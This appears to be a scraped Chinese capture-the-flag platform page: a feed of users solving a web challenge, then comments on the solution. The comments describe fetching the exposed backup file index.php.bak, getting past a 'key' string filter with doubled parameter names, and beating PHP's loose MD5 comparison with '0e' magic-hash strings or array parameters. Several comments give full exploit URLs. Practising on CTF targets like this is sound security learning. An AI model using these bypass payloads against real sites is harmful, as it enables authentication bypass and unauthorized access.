评分(20)
解题动态
huangrt 攻破了该题 31分钟前
shooter6567 攻破了该题 1小时前
sharktoutou 攻破了该题 4小时前
twn123 攻破了该题 7小时前
BY 攻破了该题 18小时前
The Weeknd 攻破了该题 18小时前
BugKing** 攻破了该题 18小时前
sheepfly 攻破了该题 19小时前
1000086 攻破了该题 19小时前
许念安 攻破了该题 20小时前
申公豹 攻破了该题 21小时前
TvTI 攻破了该题 21小时前
ly9henxihuan 攻破了该题 21小时前
yyyyyc 攻破了该题 21小时前
CQchen 攻破了该题 22小时前
lzmiku 攻破了该题 1天前
taiqiangle 攻破了该题 1天前
Wile73 攻破了该题 1天前
hahaxiao 攻破了该题 1天前
评论
式南安 15天前
举报
思路：扫描发现 index.php.bak，下载得到源码。 源码逻辑：URL 参数 key 被过滤，导致 $key1、$key2 未定义，可用 kkey1、kkey2 绕过过滤，再传入两个 MD5 值均为 0e 开头的字符串，通过弱比较即可获得 flag。
wangsir 28天前
举报
访问备份文件index.php.bak
__tian__ 1月前
举报
http://160.202.254.160:19967/?kkeyey1=s878926199a&kkeyey2=s155964671a
关灯吃面 1月前
举报
?kkeyey1[]=1&kkeyey2[]=2
浩天 1月前
举报
flag{**********}
zhouzzz 1月前
举报
?kekeyy1=QNKCDZO&kekeyy2=aabg7XSs
BY 18小时前
举报
flag{********}
Yus 1月前
举报
写?kkeyey1=QNKCDZO&kkeyey2=240610708
王永诺诺 2月前
举报
没有思路，索性联想index.php的备份形式index.bak和index.php.bak，结果试出来了。后面根据文件代码得知会对"key"执行一次替换，故构造的请求携带变量应是kkeyey1和kkeyey2。且key1和key2的md5值弱比较，key1本身不等于key2。
frankkkfan 14天前
举报
什么叫没有思路但是随便联想就想到对的方法了
qqai 1月前
举报
棒
icyskin 2月前
举报
http://160.202.254.160:12116/?kkeyey1=QNKCDZO&kkeyey2=s878926199a
青云07 2月前
举报
直接/?kkeyey1[]=a&kkeyey2[]=b